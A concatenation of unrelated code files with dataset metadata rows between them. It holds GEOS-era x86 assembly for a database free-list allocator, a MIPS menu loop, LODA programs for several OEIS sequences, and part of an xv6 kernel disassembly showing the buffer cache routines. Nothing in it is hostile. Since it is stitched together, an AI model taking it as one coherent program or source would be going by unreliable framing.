SYNOPSIS: Free a DBItemInfo structure.
CALLED BY: Internal.
PASS: bx = Database file handle.
ds = segment address of a locked group block.
di = offset to structure to free.
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Add the structure to the free list.
Dirty the group block.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/24/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DBItemFree proc near
push ax ;
mov ax, ds:DBGH_itemFreeList ;
mov ds:[di].DBFIS_next, ax ; link in to free list.
mov ds:DBGH_itemFreeList, di ; set to start of list.
;
test ds:[DBGH_flags], mask GF_NEW_UNGROUP
jz doDirty ; => DBGH_numItems might not
; be there, and don't need to
; do ungroup-full check
dec ds:[DBGH_numItems]
;
; If the block is a member of the ungrouped set and was full, see if
; it's still full. We do all this here, rather than in DBItemFree,
; to avoid deadlocking when we have to go back up and get the header
; block to set the VMBF_UNGROUPED_AVAIL flag for the block. There's
; still some potential for deadlock if this thread still has an
; item block locked, of course, but I can't think of a way to cope
; with that...
;
test ds:[DBGH_flags], mask GF_UNGROUP_FULL
jz doDirty
cmp ds:[DBGH_numItems], DB_UNGROUP_LOW_WATER_MARK
ja doDirty
;
; ungroup block now available for allocation again. Mark it as such
; in the VMHeader
;
andnf ds:[DBGH_flags], not mask GF_UNGROUP_FULL
push bx
mov ax, ds:[DBGH_vmemHandle]
mov bx, ds:[DBGH_handle]
call VMMarkUngroupAvail
pop bx
doDirty:
call DBGroupDirty
;
; This would be a good place to check to see if there are free
; structures at the end of the group block. If there are some, then
; we can remove them from the free list and resize the group block
; smaller. This is the only chance we have to make the group block
; smaller.
;
pop ax ;
ret ;
DBItemFree endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DBBlockAlloc
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a DBItemBlockInfo structure.
CALLED BY: Internal.
PASS: bx = Database file handle.
ds = segment address of a locked group block.
RETURN: ds = segment address of same block (may have moved).
di = offset to allocated structure.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
If the free-list is empty then
Add new structures to the free-list.
Endif
Remove the first item from the free-list.
Dirty the group block.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/24/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DBBlockAlloc proc near
cmp ds:DBGH_blockFreeList, 0 ; check for a free list.
jne DBBA_hasList ;
;
; Create more structures.
;
push bx, cx, dx, es ;
mov ax, ds:DBGH_blockSize ; ax <- old block size.
push ax ; save old size.
add ax, DB_BLOCK_STRUC_INC * size DBFreeBlockStruct
mov bx, ds:DBGH_handle ; bx <- handle of group block.
mov ch, mask HAF_NO_ERR
call MemReAlloc ; Make bigger.
mov ds, ax ;
add ds:DBGH_blockSize, DB_BLOCK_STRUC_INC * size DBFreeBlockStruct
pop bx ; bx <- old size of block.
;
; Need to link all the new structures into the list.
; bx = old size of block, which is the same as the pointer to the first
; new structure.
;
mov cx, DB_BLOCK_STRUC_INC ; cx <- # of new structures.
mov di, bx ; di <- ptr to start.
mov dx, bx ; save ptr to start.
DBBA_addNewFree: ;
mov bx, di ; bx <- offset to current one.
add di, size DBFreeBlockStruct ; di <- offset to next one.
mov ds:[bx].DBFBS_next, di ; link to next.
loop DBBA_addNewFree ;
;
mov ds:[bx].DBFBS_next, 0 ; no next one if on last.
mov ds:DBGH_blockFreeList, dx ; set start of list.
pop bx, cx, dx, es ;
DBBA_hasList: ;
mov di, ds:DBGH_blockFreeList ; di <- 1st free list element.
;
push ax ;
mov ax, ds:[di].DBFBS_next ; Link around the item.
mov ds:DBGH_blockFreeList, ax ;
pop ax ;
;
push bp ;
mov bp, ds:DBGH_handle ; bp <- memory handle.
call VMDirty ; Mark the group as dirty.
pop bp ;
ret ;
DBBlockAlloc endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DBBlockFree
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Free a DBItemBlockInfo structure.
CALLED BY: Internal.
PASS: bx = Database file handle.
ds = segment address of a locked group block.
di = offset to structure to free.
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Add the structure to the free list.
Dirty the group block.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/24/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DBBlockFree proc near
uses ax, bp ;
.enter ;
;
; First we add the block to the free list.
;
mov ax, ds:DBGH_blockFreeList ;
mov ds:[di].DBFBS_next, ax ; link in to free list.
mov ds:DBGH_blockFreeList, di ; set to start of list.
;
; Now mark the group as dirty, so it will be flushed to disk rather
; than discarded.
;
mov bp, ds:DBGH_handle ; bp <- memory handle.
call VMDirty ; Mark the group as dirty.
;
; This would be a good place to check to see if there are free
; structures at the end of the group block. If there are some, then
; we can remove them from the free list and resize the group block
; smaller. This is the only chance we have to make the group block
; smaller.
;
.leave ;
ret ;
DBBlockFree endp
DBaseCode ends
| 29.634921 | 79 | 0.608195 |
d3f0f22c102a4f6add16260d26bf95184ae42b9d | 684 | asm | Assembly | lab3/lab3assembly.asm | Manwlis/MIPS-Assembly-examples | ec08d3e015144d39f41c0bc953d7e68a55e767c9 | [
"MIT"
] | null | null | null | lab3/lab3assembly.asm | Manwlis/MIPS-Assembly-examples | ec08d3e015144d39f41c0bc953d7e68a55e767c9 | [
"MIT"
] | null | null | null | lab3/lab3assembly.asm | Manwlis/MIPS-Assembly-examples | ec08d3e015144d39f41c0bc953d7e68a55e767c9 | [
"MIT"
] | null | null | null | .data
choice0: .asciiz "epelekse (1-5): "
choice1: .asciiz "\n1.dhmiourgia listas"
choice2: .asciiz "2.eisagwgh antikeimenoy"
choice3: .asciiz "3.diagrafh antikeimenou"
choice4: .asciiz "4.ektipwsh sigkekrimenou stoixeiou"
choice5: .asciiz "5.eksodos"
final: .asciiz "Epelekses : "
.text
main:
while:
li $v0, 4
la $a0, choice1
syscall
li $v0, 4
la $a0, choice2
syscall
li $v0, 4
la $a0, choice3
syscall
li $v0, 4
la $a0, choice4
syscall
li $v0, 4
la $a0, choice5
syscall
li $v0, 4
la $a0, choice0
syscall
li $v0, 5
syscall
move $s0,$a0
li $v0, 4
la $a0, final
syscall
move $a0,$s0
li $v0, 1
syscall
beq $s0,5,ExitMenuWhile # an s0 = 5 eksodos.
j while
ExitMenuWhile: | 12 | 53 | 0.69152 |
9d77865d9aecbbf88c765e3e13c12b3fec4299f3 | 595 | asm | Assembly | oeis/054/A054783.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/054/A054783.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/054/A054783.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A054783: (n^2)-th Fibonacci number.
; 0,1,3,34,987,75025,14930352,7778742049,10610209857723,37889062373143906,354224848179261915075,8670007398507948658051921,555565404224292694404015791808,93202207781383214849429075266681969,40934782466626840596168752972961528246147,47068900554068939361891195233676009091941690850,141693817714056513234709965875411919657707794958199867,1116716749392769314599541809794537900642843628817512046429889,23041483585524168262220906489642018075101617466780496790573690289968
pow $0,2
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
| 99.166667 | 464 | 0.870588 |
af31965c30267abbfbf0c9a26ff6cd6c280b6f71 | 535 | asm | Assembly | rev.asm | siraben/awk-vm | fd68d920de4a0347c9194c2255d1095aaa754a4c | [
"MIT"
] | 8 | 2019-05-01T21:51:26.000Z | 2022-01-21T02:00:54.000Z | rev.asm | siraben/awk-vm | fd68d920de4a0347c9194c2255d1095aaa754a4c | [
"MIT"
] | null | null | null | rev.asm | siraben/awk-vm | fd68d920de4a0347c9194c2255d1095aaa754a4c | [
"MIT"
] | 2 | 2020-06-24T13:29:58.000Z | 2020-07-29T00:16:46.000Z | ;; Reverse a user's string.
lda msg1
puts
get_s
getc
jz print_rev ;; Reached end
sti s_ptr
ld s_ptr
inc
st s_ptr
ld c
dec ;; Decrement c
jz print_rev ;; Out of characters.
st c
j get_s
print_rev
lda s
sub s_ptr
inc
;; c contains number of characters to print.
print_loop
st c
ld s_ptr
dec
st s_ptr
ldi s_ptr
putc
ld c
inc
jz done
j print_loop
done
halt
s_ptr const s
s blk 32
msg1 string "Enter a string to reverse: "
c const 0
| 13.375 | 47 | 0.601869 |
a42155beb001bb68e8bcc464407c2c9fa8640bfa | 418 | asm | Assembly | oeis/064/A064685.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/064/A064685.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/064/A064685.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A064685: Length of orbit of 2n+1 in the 3x+1 problem.
; Submitted by Jon Maiga
; 1,8,6,17,20,15,10,18,13,21,8,16,24,112,19,107,27,14,22,35,110,30,17,105,25,25,12,113,33,33,20,108,28,28,15,103,116,15,23,36,23,111,10,31,31,93,18,106,119,26,26,88,39,101,114,70,13,34,21,34,96,47,109,47,122
mul $0,2
seq $0,6577 ; Number of halving and tripling steps to reach 1 in '3x+1' problem, or -1 if 1 is never reached.
add $0,1
| 52.25 | 207 | 0.691388 |
fff7b059ec98148e2a4c573a241c59e162ef529d | 604 | asm | Assembly | oeis/001/A001459.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/001/A001459.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/001/A001459.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A001459: a(n) = (5*n)!/((2*n)!*(2*n)!*n!).
; 1,30,3150,420420,62355150,9816086280,1605660228900,269764879032000,46225898052627150,8042050347997165500,1415997888807961859400,251762943910387780962000,45125969443194371927422500,8143514687130622653091029120,1478138194032735032800001630400,269644746357052680118990832497920,49404286840638577441889614271302350,9086678759596497451333414607804260500,1676966826385378509910007541586899875100,310430122520777939172439873094791439817000,57622076079599407078411859946798748572611400
mov $1,$0
mul $1,3
mov $2,5
mul $2,$0
bin $2,$1
bin $1,$0
mul $1,$2
mov $0,$1
| 50.333333 | 479 | 0.849338 |
64d60a7b6231cd5883c77ed35dd4c66448b5ec85 | 488 | asm | Assembly | oeis/219/A219636.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/219/A219636.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/219/A219636.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A219636: Complement of A035336.
; Submitted by Christian Krause
; 0,1,3,4,5,6,8,9,11,12,13,14,16,17,18,19,21,22,24,25,26,27,29,30,32,33,34,35,37,38,39,40,42,43,45,46,47,48,50,51,52,53,55,56,58,59,60,61,63,64,66,67,68,69,71,72,73,74,76,77,79,80,81,82,84,85,87,88,89,90,92,93,94,95,97,98,100,101,102,103,105,106,107,108,110,111,113,114,115,116,118,119,121,122,123,124,126,127,128,129
mov $1,$0
div $0,2
seq $0,19446 ; a(n) = ceiling(n/tau), where tau = (1+sqrt(5))/2.
sub $1,1
add $0,$1
| 48.8 | 317 | 0.665984 |
2fa41b78e7b5444e414d11f157661fc16762543c | 657,321 | asm | Assembly | kernel.asm | tzulang/os3 | 12bdb09332eaa58c1b3ae2e28325883561650c1a | [
"MIT-0"
] | null | null | null | kernel.asm | tzulang/os3 | 12bdb09332eaa58c1b3ae2e28325883561650c1a | [
"MIT-0"
] | null | null | null | kernel.asm | tzulang/os3 | 12bdb09332eaa58c1b3ae2e28325883561650c1a | [
"MIT-0"
] | null | null | null |
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 0f in $0xf,%al
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 a0 10 00 mov $0x10a000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc 50 c6 10 80 mov $0x8010c650,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 17 37 10 80 mov $0x80103717,%eax
jmp *%eax
80100032: ff e0 jmp *%eax
80100034 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100034: 55 push %ebp
80100035: 89 e5 mov %esp,%ebp
80100037: 83 ec 28 sub $0x28,%esp
struct buf *b;
initlock(&bcache.lock, "bcache");
8010003a: c7 44 24 04 a4 86 10 movl $0x801086a4,0x4(%esp)
80100041: 80
80100042: c7 04 24 60 c6 10 80 movl $0x8010c660,(%esp)
80100049: e8 a2 4d 00 00 call 80104df0 <initlock>
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
8010004e: c7 05 70 05 11 80 64 movl $0x80110564,0x80110570
80100055: 05 11 80
bcache.head.next = &bcache.head;
80100058: c7 05 74 05 11 80 64 movl $0x80110564,0x80110574
8010005f: 05 11 80
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100062: c7 45 f4 94 c6 10 80 movl $0x8010c694,-0xc(%ebp)
80100069: eb 3a jmp 801000a5 <binit+0x71>
b->next = bcache.head.next;
8010006b: 8b 15 74 05 11 80 mov 0x80110574,%edx
80100071: 8b 45 f4 mov -0xc(%ebp),%eax
80100074: 89 50 10 mov %edx,0x10(%eax)
b->prev = &bcache.head;
80100077: 8b 45 f4 mov -0xc(%ebp),%eax
8010007a: c7 40 0c 64 05 11 80 movl $0x80110564,0xc(%eax)
b->dev = -1;
80100081: 8b 45 f4 mov -0xc(%ebp),%eax
80100084: c7 40 04 ff ff ff ff movl $0xffffffff,0x4(%eax)
bcache.head.next->prev = b;
8010008b: a1 74 05 11 80 mov 0x80110574,%eax
80100090: 8b 55 f4 mov -0xc(%ebp),%edx
80100093: 89 50 0c mov %edx,0xc(%eax)
bcache.head.next = b;
80100096: 8b 45 f4 mov -0xc(%ebp),%eax
80100099: a3 74 05 11 80 mov %eax,0x80110574
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
8010009e: 81 45 f4 18 02 00 00 addl $0x218,-0xc(%ebp)
801000a5: 81 7d f4 64 05 11 80 cmpl $0x80110564,-0xc(%ebp)
801000ac: 72 bd jb 8010006b <binit+0x37>
b->prev = &bcache.head;
b->dev = -1;
bcache.head.next->prev = b;
bcache.head.next = b;
}
}
801000ae: c9 leave
801000af: c3 ret
801000b0 <bget>:
// Look through buffer cache for sector on device dev.
// If not found, allocate a buffer.
// In either case, return B_BUSY buffer.
static struct buf*
bget(uint dev, uint sector)
{
801000b0: 55 push %ebp
801000b1: 89 e5 mov %esp,%ebp
801000b3: 83 ec 28 sub $0x28,%esp
struct buf *b;
acquire(&bcache.lock);
801000b6: c7 04 24 60 c6 10 80 movl $0x8010c660,(%esp)
801000bd: e8 4f 4d 00 00 call 80104e11 <acquire>
loop:
// Is the sector already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000c2: a1 74 05 11 80 mov 0x80110574,%eax
801000c7: 89 45 f4 mov %eax,-0xc(%ebp)
801000ca: eb 63 jmp 8010012f <bget+0x7f>
if(b->dev == dev && b->sector == sector){
801000cc: 8b 45 f4 mov -0xc(%ebp),%eax
801000cf: 8b 40 04 mov 0x4(%eax),%eax
801000d2: 3b 45 08 cmp 0x8(%ebp),%eax
801000d5: 75 4f jne 80100126 <bget+0x76>
801000d7: 8b 45 f4 mov -0xc(%ebp),%eax
801000da: 8b 40 08 mov 0x8(%eax),%eax
801000dd: 3b 45 0c cmp 0xc(%ebp),%eax
801000e0: 75 44 jne 80100126 <bget+0x76>
if(!(b->flags & B_BUSY)){
801000e2: 8b 45 f4 mov -0xc(%ebp),%eax
801000e5: 8b 00 mov (%eax),%eax
801000e7: 83 e0 01 and $0x1,%eax
801000ea: 85 c0 test %eax,%eax
801000ec: 75 23 jne 80100111 <bget+0x61>
b->flags |= B_BUSY;
801000ee: 8b 45 f4 mov -0xc(%ebp),%eax
801000f1: 8b 00 mov (%eax),%eax
801000f3: 83 c8 01 or $0x1,%eax
801000f6: 89 c2 mov %eax,%edx
801000f8: 8b 45 f4 mov -0xc(%ebp),%eax
801000fb: 89 10 mov %edx,(%eax)
release(&bcache.lock);
801000fd: c7 04 24 60 c6 10 80 movl $0x8010c660,(%esp)
80100104: e8 6a 4d 00 00 call 80104e73 <release>
return b;
80100109: 8b 45 f4 mov -0xc(%ebp),%eax
8010010c: e9 93 00 00 00 jmp 801001a4 <bget+0xf4>
}
sleep(b, &bcache.lock);
80100111: c7 44 24 04 60 c6 10 movl $0x8010c660,0x4(%esp)
80100118: 80
80100119: 8b 45 f4 mov -0xc(%ebp),%eax
8010011c: 89 04 24 mov %eax,(%esp)
8010011f: e8 23 4a 00 00 call 80104b47 <sleep>
goto loop;
80100124: eb 9c jmp 801000c2 <bget+0x12>
acquire(&bcache.lock);
loop:
// Is the sector already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
80100126: 8b 45 f4 mov -0xc(%ebp),%eax
80100129: 8b 40 10 mov 0x10(%eax),%eax
8010012c: 89 45 f4 mov %eax,-0xc(%ebp)
8010012f: 81 7d f4 64 05 11 80 cmpl $0x80110564,-0xc(%ebp)
80100136: 75 94 jne 801000cc <bget+0x1c>
}
// Not cached; recycle some non-busy and clean buffer.
// "clean" because B_DIRTY and !B_BUSY means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100138: a1 70 05 11 80 mov 0x80110570,%eax
8010013d: 89 45 f4 mov %eax,-0xc(%ebp)
80100140: eb 4d jmp 8010018f <bget+0xdf>
if((b->flags & B_BUSY) == 0 && (b->flags & B_DIRTY) == 0){
80100142: 8b 45 f4 mov -0xc(%ebp),%eax
80100145: 8b 00 mov (%eax),%eax
80100147: 83 e0 01 and $0x1,%eax
8010014a: 85 c0 test %eax,%eax
8010014c: 75 38 jne 80100186 <bget+0xd6>
8010014e: 8b 45 f4 mov -0xc(%ebp),%eax
80100151: 8b 00 mov (%eax),%eax
80100153: 83 e0 04 and $0x4,%eax
80100156: 85 c0 test %eax,%eax
80100158: 75 2c jne 80100186 <bget+0xd6>
b->dev = dev;
8010015a: 8b 45 f4 mov -0xc(%ebp),%eax
8010015d: 8b 55 08 mov 0x8(%ebp),%edx
80100160: 89 50 04 mov %edx,0x4(%eax)
b->sector = sector;
80100163: 8b 45 f4 mov -0xc(%ebp),%eax
80100166: 8b 55 0c mov 0xc(%ebp),%edx
80100169: 89 50 08 mov %edx,0x8(%eax)
b->flags = B_BUSY;
8010016c: 8b 45 f4 mov -0xc(%ebp),%eax
8010016f: c7 00 01 00 00 00 movl $0x1,(%eax)
release(&bcache.lock);
80100175: c7 04 24 60 c6 10 80 movl $0x8010c660,(%esp)
8010017c: e8 f2 4c 00 00 call 80104e73 <release>
return b;
80100181: 8b 45 f4 mov -0xc(%ebp),%eax
80100184: eb 1e jmp 801001a4 <bget+0xf4>
}
// Not cached; recycle some non-busy and clean buffer.
// "clean" because B_DIRTY and !B_BUSY means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100186: 8b 45 f4 mov -0xc(%ebp),%eax
80100189: 8b 40 0c mov 0xc(%eax),%eax
8010018c: 89 45 f4 mov %eax,-0xc(%ebp)
8010018f: 81 7d f4 64 05 11 80 cmpl $0x80110564,-0xc(%ebp)
80100196: 75 aa jne 80100142 <bget+0x92>
b->flags = B_BUSY;
release(&bcache.lock);
return b;
}
}
panic("bget: no buffers");
80100198: c7 04 24 ab 86 10 80 movl $0x801086ab,(%esp)
8010019f: e8 96 03 00 00 call 8010053a <panic>
}
801001a4: c9 leave
801001a5: c3 ret
801001a6 <bread>:
// Return a B_BUSY buf with the contents of the indicated disk sector.
struct buf*
bread(uint dev, uint sector)
{
801001a6: 55 push %ebp
801001a7: 89 e5 mov %esp,%ebp
801001a9: 83 ec 28 sub $0x28,%esp
struct buf *b;
b = bget(dev, sector);
801001ac: 8b 45 0c mov 0xc(%ebp),%eax
801001af: 89 44 24 04 mov %eax,0x4(%esp)
801001b3: 8b 45 08 mov 0x8(%ebp),%eax
801001b6: 89 04 24 mov %eax,(%esp)
801001b9: e8 f2 fe ff ff call 801000b0 <bget>
801001be: 89 45 f4 mov %eax,-0xc(%ebp)
if(!(b->flags & B_VALID))
801001c1: 8b 45 f4 mov -0xc(%ebp),%eax
801001c4: 8b 00 mov (%eax),%eax
801001c6: 83 e0 02 and $0x2,%eax
801001c9: 85 c0 test %eax,%eax
801001cb: 75 0b jne 801001d8 <bread+0x32>
iderw(b);
801001cd: 8b 45 f4 mov -0xc(%ebp),%eax
801001d0: 89 04 24 mov %eax,(%esp)
801001d3: e8 c9 25 00 00 call 801027a1 <iderw>
return b;
801001d8: 8b 45 f4 mov -0xc(%ebp),%eax
}
801001db: c9 leave
801001dc: c3 ret
801001dd <bwrite>:
// Write b's contents to disk. Must be B_BUSY.
void
bwrite(struct buf *b)
{
801001dd: 55 push %ebp
801001de: 89 e5 mov %esp,%ebp
801001e0: 83 ec 18 sub $0x18,%esp
if((b->flags & B_BUSY) == 0)
801001e3: 8b 45 08 mov 0x8(%ebp),%eax
801001e6: 8b 00 mov (%eax),%eax
801001e8: 83 e0 01 and $0x1,%eax
801001eb: 85 c0 test %eax,%eax
801001ed: 75 0c jne 801001fb <bwrite+0x1e>
panic("bwrite");
801001ef: c7 04 24 bc 86 10 80 movl $0x801086bc,(%esp)
801001f6: e8 3f 03 00 00 call 8010053a <panic>
b->flags |= B_DIRTY;
801001fb: 8b 45 08 mov 0x8(%ebp),%eax
801001fe: 8b 00 mov (%eax),%eax
80100200: 83 c8 04 or $0x4,%eax
80100203: 89 c2 mov %eax,%edx
80100205: 8b 45 08 mov 0x8(%ebp),%eax
80100208: 89 10 mov %edx,(%eax)
iderw(b);
8010020a: 8b 45 08 mov 0x8(%ebp),%eax
8010020d: 89 04 24 mov %eax,(%esp)
80100210: e8 8c 25 00 00 call 801027a1 <iderw>
}
80100215: c9 leave
80100216: c3 ret
80100217 <brelse>:
// Release a B_BUSY buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
80100217: 55 push %ebp
80100218: 89 e5 mov %esp,%ebp
8010021a: 83 ec 18 sub $0x18,%esp
if((b->flags & B_BUSY) == 0)
8010021d: 8b 45 08 mov 0x8(%ebp),%eax
80100220: 8b 00 mov (%eax),%eax
80100222: 83 e0 01 and $0x1,%eax
80100225: 85 c0 test %eax,%eax
80100227: 75 0c jne 80100235 <brelse+0x1e>
panic("brelse");
80100229: c7 04 24 c3 86 10 80 movl $0x801086c3,(%esp)
80100230: e8 05 03 00 00 call 8010053a <panic>
acquire(&bcache.lock);
80100235: c7 04 24 60 c6 10 80 movl $0x8010c660,(%esp)
8010023c: e8 d0 4b 00 00 call 80104e11 <acquire>
b->next->prev = b->prev;
80100241: 8b 45 08 mov 0x8(%ebp),%eax
80100244: 8b 40 10 mov 0x10(%eax),%eax
80100247: 8b 55 08 mov 0x8(%ebp),%edx
8010024a: 8b 52 0c mov 0xc(%edx),%edx
8010024d: 89 50 0c mov %edx,0xc(%eax)
b->prev->next = b->next;
80100250: 8b 45 08 mov 0x8(%ebp),%eax
80100253: 8b 40 0c mov 0xc(%eax),%eax
80100256: 8b 55 08 mov 0x8(%ebp),%edx
80100259: 8b 52 10 mov 0x10(%edx),%edx
8010025c: 89 50 10 mov %edx,0x10(%eax)
b->next = bcache.head.next;
8010025f: 8b 15 74 05 11 80 mov 0x80110574,%edx
80100265: 8b 45 08 mov 0x8(%ebp),%eax
80100268: 89 50 10 mov %edx,0x10(%eax)
b->prev = &bcache.head;
8010026b: 8b 45 08 mov 0x8(%ebp),%eax
8010026e: c7 40 0c 64 05 11 80 movl $0x80110564,0xc(%eax)
bcache.head.next->prev = b;
80100275: a1 74 05 11 80 mov 0x80110574,%eax
8010027a: 8b 55 08 mov 0x8(%ebp),%edx
8010027d: 89 50 0c mov %edx,0xc(%eax)
bcache.head.next = b;
80100280: 8b 45 08 mov 0x8(%ebp),%eax
80100283: a3 74 05 11 80 mov %eax,0x80110574
b->flags &= ~B_BUSY;
80100288: 8b 45 08 mov 0x8(%ebp),%eax
8010028b: 8b 00 mov (%eax),%eax
8010028d: 83 e0 fe and $0xfffffffe,%eax
80100290: 89 c2 mov %eax,%edx
80100292: 8b 45 08 mov 0x8(%ebp),%eax
80100295: 89 10 mov %edx,(%eax)
wakeup(b);
80100297: 8b 45 08 mov 0x8(%ebp),%eax
8010029a: 89 04 24 mov %eax,(%esp)
8010029d: e8 7e 49 00 00 call 80104c20 <wakeup>
release(&bcache.lock);
801002a2: c7 04 24 60 c6 10 80 movl $0x8010c660,(%esp)
801002a9: e8 c5 4b 00 00 call 80104e73 <release>
}
801002ae: c9 leave
801002af: c3 ret
801002b0 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
801002b0: 55 push %ebp
801002b1: 89 e5 mov %esp,%ebp
801002b3: 83 ec 14 sub $0x14,%esp
801002b6: 8b 45 08 mov 0x8(%ebp),%eax
801002b9: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801002bd: 0f b7 45 ec movzwl -0x14(%ebp),%eax
801002c1: 89 c2 mov %eax,%edx
801002c3: ec in (%dx),%al
801002c4: 88 45 ff mov %al,-0x1(%ebp)
return data;
801002c7: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
801002cb: c9 leave
801002cc: c3 ret
801002cd <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
801002cd: 55 push %ebp
801002ce: 89 e5 mov %esp,%ebp
801002d0: 83 ec 08 sub $0x8,%esp
801002d3: 8b 55 08 mov 0x8(%ebp),%edx
801002d6: 8b 45 0c mov 0xc(%ebp),%eax
801002d9: 66 89 55 fc mov %dx,-0x4(%ebp)
801002dd: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801002e0: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
801002e4: 0f b7 55 fc movzwl -0x4(%ebp),%edx
801002e8: ee out %al,(%dx)
}
801002e9: c9 leave
801002ea: c3 ret
801002eb <cli>:
asm volatile("movw %0, %%gs" : : "r" (v));
}
static inline void
cli(void)
{
801002eb: 55 push %ebp
801002ec: 89 e5 mov %esp,%ebp
asm volatile("cli");
801002ee: fa cli
}
801002ef: 5d pop %ebp
